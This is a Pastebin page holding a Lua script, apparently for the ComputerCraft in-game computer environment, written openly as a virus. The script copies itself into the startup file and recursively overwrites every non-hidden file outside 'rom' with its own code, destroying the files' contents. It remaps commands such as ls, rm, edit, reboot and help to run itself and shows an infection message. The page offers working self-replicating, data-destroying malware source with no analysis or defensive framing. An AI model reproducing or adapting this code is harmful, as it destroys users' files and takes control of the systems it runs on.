FluttyProger

Untitled

Sep 21st, 2015
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local w, h = term.getSize()
  2.  
  3. function disPlace()
  4.     shell.clearAlias("ls")
  5.     shell.clearAlias("dir")
  6.     shell.clearAlias("cp")
  7.     shell.clearAlias("mv")
  8.     shell.clearAlias("rm")
  9.     shell.setAlias("ls", "startup")
  10.     shell.setAlias("dir", "startup")
  11.     shell.setAlias("cp", "startup")
  12.     shell.setAlias("mv", "startup")
  13.     shell.setAlias("rm", "startup")
  14.     shell.setAlias("list", "startup")
  15.     shell.setAlias("edit", "startup")
  16.     shell.setAlias("reboot", "startup")
  17.     shell.setAlias("shutdown", "startup")
  18.     shell.setAlias("lua", "startup")
  19.     shell.setAlias("delete", "startup")
  20.     shell.setAlias("help", "startup")
  21.     shell.setPath(":::VIRUS:::")
  22.     shell.setDir(":::VIRUS:::")
  23. end
  24.  
  25. function printCentered(y, s)
  26.     term.setCursorPos(w / 2 - string.len(s) / 2, y)
  27.     write(s)
  28. end
  29.  
  30. function payload()
  31.     local payLoadCharacters = {0, 1, "|", "-", "+"}
  32.     for i=1,50000 do
  33.         os.queueEvent("randomEvent")
  34.         os.pullEvent()
  35.         term.setCursorPos(math.random(1, w), math.random(1, h))
  36.         local index = math.random(1, table.getn(payLoadCharacters))
  37.         write(payLoadCharacters[index])
  38.         printCentered(h / 2, "You Got Virus Infected!")
  39.     end
  40.     sleep(5)
  41.     term.clear()
  42.     term.setCursorPos(1, 1)
  43.     print("Infected "..os.version())
  44. end
  45.  
  46. function infectDir(Directory, Injection)
  47.     local sDir = shell.dir()
  48.     sDir = shell.resolve( Directory )
  49.     local tAll = fs.list( sDir )
  50.     local tFiles = {}
  51.     local tDirs = {}
  52.     for n, sItem in pairs( tAll ) do
  53.         if string.sub( sItem, 1, 1 ) ~= "." then
  54.             local sPath = fs.combine( sDir, sItem )
  55.             if fs.isDir( sPath ) then
  56.                 table.insert( tDirs, sItem )
  57.             else
  58.                 table.insert( tFiles, sItem )
  59.             end
  60.         end
  61.     end
  62.     table.sort( tDirs )
  63.     table.sort( tFiles )
  64.    
  65.     for i=1,table.getn(tFiles) do
  66.         local filewritex = fs.open(Directory.."/"..tFiles[i], "w")
  67.         filewritex.write(Injection)
  68.         filewritex.close()
  69.     end
  70.     for i=1,table.getn(tDirs) do
  71.         if tDirs[i] ~= "rom" then
  72.             infectDir(Directory.."/"..tDirs[i], Injection)
  73.         end
  74.     end
  75.    
  76. end
  77.  
  78. local virusread = fs.open(shell.getRunningProgram(), "r")
  79. local viruscode = virusread.readAll()
  80. virusread.close()
  81.  
  82. local filewritev = fs.open("startup", "w")
  83. filewritev.write(viruscode)
  84. filewritev.close()
  85.  
  86. infectDir("", viruscode)
  87.  
  88. if fs.exists("EOF") == false then
  89.     payload()
  90.     fs.makeDir("EOF")
  91. end
  92.  
  93. disPlace()
Add Comment
Please, Sign In to add comment